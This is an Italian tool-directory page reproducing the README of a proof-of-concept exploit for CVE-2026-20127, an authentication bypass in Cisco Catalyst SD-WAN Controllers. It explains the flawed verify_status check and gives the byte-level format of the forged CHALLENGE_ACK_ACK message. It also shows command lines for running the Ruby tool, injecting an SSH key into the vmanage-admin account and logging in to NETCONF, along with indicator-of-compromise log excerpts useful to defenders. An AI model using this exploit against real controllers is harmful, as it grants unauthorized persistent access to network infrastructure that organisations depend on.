Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-20127 — Exploit per il bypass dell'autenticazione del controller Cisco Catalyst SD-WAN (CVE-2026-20127) che forgia messaggi DTLS CHALLENGE_ACK_ACK per ottenere accesso non autorizzato e iniettare chiavi SSH. | Kitploit
Strumenti/GitHubGitHub/sfewer-r7/cve-2026-20127
Analisi delle VulnerabilitàExploitSicurezza di RetePenetration TestingAutenticazioneRed Teaming
GitHubsfewer-r7/cve-2026-20127

CVE-2026-20127

Exploit per il bypass dell'autenticazione del controller Cisco Catalyst SD-WAN (CVE-2026-20127) che forgia messaggi DTLS CHALLENGE_ACK_ACK per ottenere accesso non autorizzato e iniettare chiavi SSH.

Vedi Repository
24386 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-20127

Panoramica

Un exploit per la vulnerabilità di bypass dell'autenticazione del Cisco Catalyst SD-WAN Controller, CVE-2026-20127.

Questo exploit prende di mira il gestore vbond_proc_challenge_ack_ack(). Invia un messaggio CHALLENGE_ACK_ACK contraffatto (msg_type=10) con un byte verify_status=1 controllato dall'attaccante, forzando direttamente il server a impostare authenticated=1 sulla voce del peer.

Come funziona

Nella normale handshake del piano di controllo DTLS:

  1. Il client si connette tramite DTLS con un certificato
  2. Il server invia CHALLENGE (msg_type=8)
  3. Il client risponde con CHALLENGE_ACK (msg_type=9) contenente i dati del certificato
  4. Il server verifica il certificato e invia (msg_type=10) con
CHALLENGE_ACK_ACK
verify_status=1

Questo exploit accorcia il flusso:

  1. Il client si connette tramite DTLS con un certificato auto-firmato
  2. Il server invia CHALLENGE
  3. Il client invia CHALLENGE_ACK_ACK (msg_type=10) con verify_status=1 direttamente
  4. Il vbond_proc_challenge_ack_ack() del server legge verify_status dal corpo del messaggio — questo è controllato dall'attaccante
  5. Poiché verify_status != 0, il server imposta authenticated=1 (*(BYTE*)(a2+70) = 1)

Il gate di autenticazione in vbond_proc_msg() esenta msg_type=10 dai controlli di autenticazione, quindi questo funziona anche se il peer non è ancora autenticato.

Testato con successo contro Cisco Catalyst SD-WAN Controller (noto anche come vSmart), versione 20.15.3.

Testato senza successo contro un Cisco Catalyst SD-WAN Controller (noto anche come vSmart) patchato, versione 20.12.6.1.

Utilizzo

root@kitploit:~
Usage: ./bin/vdaemon_exploit TARGET [options]

vdaemon DTLS Authentication Bypass PoC (CVE-2026-20127)

This exploit targets the vbond_proc_challenge_ack_ack() handler.
It sends a forged CHALLENGE_ACK_ACK with verify_status=1, causing
the server to set authenticated=1 without certificate verification.

    -p, --port PORT                  DTLS port (default: 12346)
        --inject-key                 Generate and inject SSH key into vmanage-admin authorized_keys
        --ssh-key PUBKEY_FILE        Path to SSH public key file to inject
        --cert CERT_FILE             Path to PEM certificate file for DTLS handshake
        --cert-key KEY_FILE          Path to PEM private key file for DTLS handshake (used with --cert)
        --data-dir DIR               Directory for generated keys/certs (default: ./data/)

Examples:
  ./bin/vdaemon_exploit 192.168.86.166
  ./bin/vdaemon_exploit 192.168.86.166 --inject-key
  ./bin/vdaemon_exploit 192.168.86.166 --ssh-key ~/.ssh/id_rsa.pub
  ./bin/vdaemon_exploit 192.168.86.166 --cert ./data/cert.pem --cert-key ./data/key.pem

Esempio

root@kitploit:~
# Install dependencies
bundle install

# Run exploit - Test the auth bypass
ruby ./bin/vdaemon_exploit 192.168.86.166

# Run exploit - Leverage the auth bypass to inject an SSH key
ruby ./bin/vdaemon_exploit 192.168.86.166 --inject-key

# Leverage SSH key - Login to NETCONF as vmanage-admin
ssh -i ./data/ssh/attacker_ssh_20260306_141607 [email protected] -p 830

Lo screenshot seguente mostra lo sfruttamento riuscito e il successivo accesso SSH al servizio NETCONF:

CVE-2026-20127 Example

Dettagli tecnici

La funzione vulnerabile: vbond_proc_challenge_ack_ack()

Situata all'indirizzo 0x38AB7 in vdaemon (20.12.5). La funzione elabora i messaggi CHALLENGE_ACK_ACK in arrivo e presenta questi controlli chiave:

  1. Controllo duplicati (a2+112): Rifiuta se un CHALLENGE_ACK_ACK è già stato elaborato per questo peer. Al primo passaggio, questo contatore è 0 → superato.
  2. Rifiuto vBond (a1+8 == 4): Restituisce 20 se il dispositivo locale è un vBond. Prendiamo di mira vSmart (type=3) → superato.
  3. Creazione timer: Crea hello-timer ed expiry-timer. Improbabile che fallisca → superato.
  4. verify_status (a3+32): Legge il primo byte del corpo del messaggio. Se zero → percorso di rifiuto (eliminazione del peer). Se diverso da zero → imposta *(BYTE*)(a2+70) = 1 (autenticato).

Il difetto critico: verify_status proviene direttamente dal corpo del messaggio controllato dall'attaccante senza alcuna validazione lato server. La funzione si fida dell'affermazione del peer sullo stato di verifica.

L'esenzione dal gate di autenticazione

In vbond_proc_msg(), il gate di autenticazione che blocca i peer non autenticati dall'invio della maggior parte dei tipi di messaggio esenta esplicitamente msg_type=10 (CHALLENGE_ACK_ACK). Ciò è necessario per il flusso di protocollo legittimo (il server invia ACK_ACK al client prima che l'autenticazione sia completata), ma consente anche a un attaccante di inviare un ACK_ACK contraffatto al server.

Formato wire

L'exploit invia un messaggio di 14 byte:

root@kitploit:~
Header (12 bytes):
  Byte 0:  0x0A        (version=0, msg_type=10/CHALLENGE_ACK_ACK)
  Byte 1:  0x30        (device_type=3/vSmart << 4)
  Byte 2:  0xA0        (flags)
  Byte 3:  0x00        (reserved)
  Bytes 4-7:  domain_id  (big-endian u32, default: 1)
  Bytes 8-11: site_id    (big-endian u32, default: 100)

Body (2 bytes):
  Byte 0:  0x01        (verify_status = 1 / TRUE)
  Byte 1:  0x00        (reserved)

IOC

In questo esempio, il target era un Cisco Catalyst SD-WAN Controller (noto anche come vSmart), versione 20.15.3. Il target aveva un indirizzo IP di 192.168.86.166 e l'attaccante aveva un indirizzo IP di 192.168.86.35.

Il file di log /var/log/vsyslog ha registrato questi messaggi:

root@kitploit:~
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart  generated-at:3-9-2026T15:2:24
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down  generated-at:3-9-2026T15:2:24

Il file di log /var/log/vdebug ha registrato questi messaggi:

root@kitploit:~
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_peer_ssl_snapshot_info[497]: [VDAEMON_DBG_SSL-5] ssl 0x7fdc8a4b2000 ssl_version 65277 protocol_version 7 cipher_name ECDHE-RSA-AES256-GCM-SHA384 is_server true cipher_bits 256 cipher_desc "ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(256) Mac=AEAD
"
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_peer_ssl_snapshot_info[506]: [VDAEMON_DBG_SSL-5] local_cert: "RSA"(6) bits:2048 sec_bits:112 peer_cert: "RSA"(6) bits:2048 sec_bits:112 local_tmp: not filled peer_tmp: "ECDH"(408) ec_group "P-521" (716) bits:521 sec_bits:260
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vbond_handshake_event_cb[1436]: [VDAEMON_DBG_CERT-5] Get CA RSA Public key
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vbond_proc_msg[5747]: [VDAEMON_DBG_MISC-3] Migrating .. sys_ip :: vmanage_sys_ip 0.0.0.0
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:00" new-state:up  generated-at:3-9-2026T15:2:12
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_send_register_to_vmanage[7133]: [VDAEMON_DBG_PKT-5] Sending register_to_vmanage
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_reset_cfg_push_request[6225]: [VDAEMON_DBG_MISC-5] /var/confd/.backup/vmanage_cfg_push_request does not exist
Mar  9 15:02:13 testvsmart VDAEMON_1[1483]: vdaemon_vbond_poke_a_hole[5861]: [VDAEMON_DBG_PKT-3] poke-a-hole is not possible for FD 23 wan_if eth0_v6
Mar  9 15:02:13 testvsmart VDAEMON_1[1483]: vbond_peer_create[1773]: [VDAEMON_DBG_MISC-3] Incompatible peer:Local intf name: eth0_v6 peer ip: 192.168.86.134
Mar  9 15:02:13 testvsmart VDAEMON_0[1488]: vdaemon_vbond_poke_a_hole[5861]: [VDAEMON_DBG_PKT-3] poke-a-hole is not possible for FD 22 wan_if eth0_v6
Mar  9 15:02:13 testvsmart VDAEMON_0[1488]: vbond_peer_create[1773]: [VDAEMON_DBG_MISC-3] Incompatible peer:Local intf name: eth0_v6 peer ip: 192.168.86.134
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: vbond_peer_timer_exp_cb[584]: [VDAEMON_DBG_EVENTS-3] Timing out peer 192.168.86.35:52521 on eth0
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart  generated-at:3-9-2026T15:2:24
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down  generated-at:3-9-2026T15:2:24

Dopo aver utilizzato con successo l'exploit, l'attaccante remoto può sfruttare la chiave SSH dell'utente vmanage-admin appena caricata per accedere al servizio NETCONF tramite SSH sulla porta TCP 830. Il file di log /var/log/auth.log ha registrato questi messaggi:

root@kitploit:~
Mar  9 15:02:24 testvsmart sshd[4838]: Accepted publickey for vmanage-admin from 192.168.86.35 port 52135 ssh2: RSA SHA256:5gvFG8VrVRpc/fX6PDd2vDfTj63jcIgbiWvSRTrlqBo
Mar  9 15:02:24 testvsmart sshd[4838]: pam_unix(sshd:session): session opened for user vmanage-admin(uid=1001) by (uid=0)
Scarica lo strumento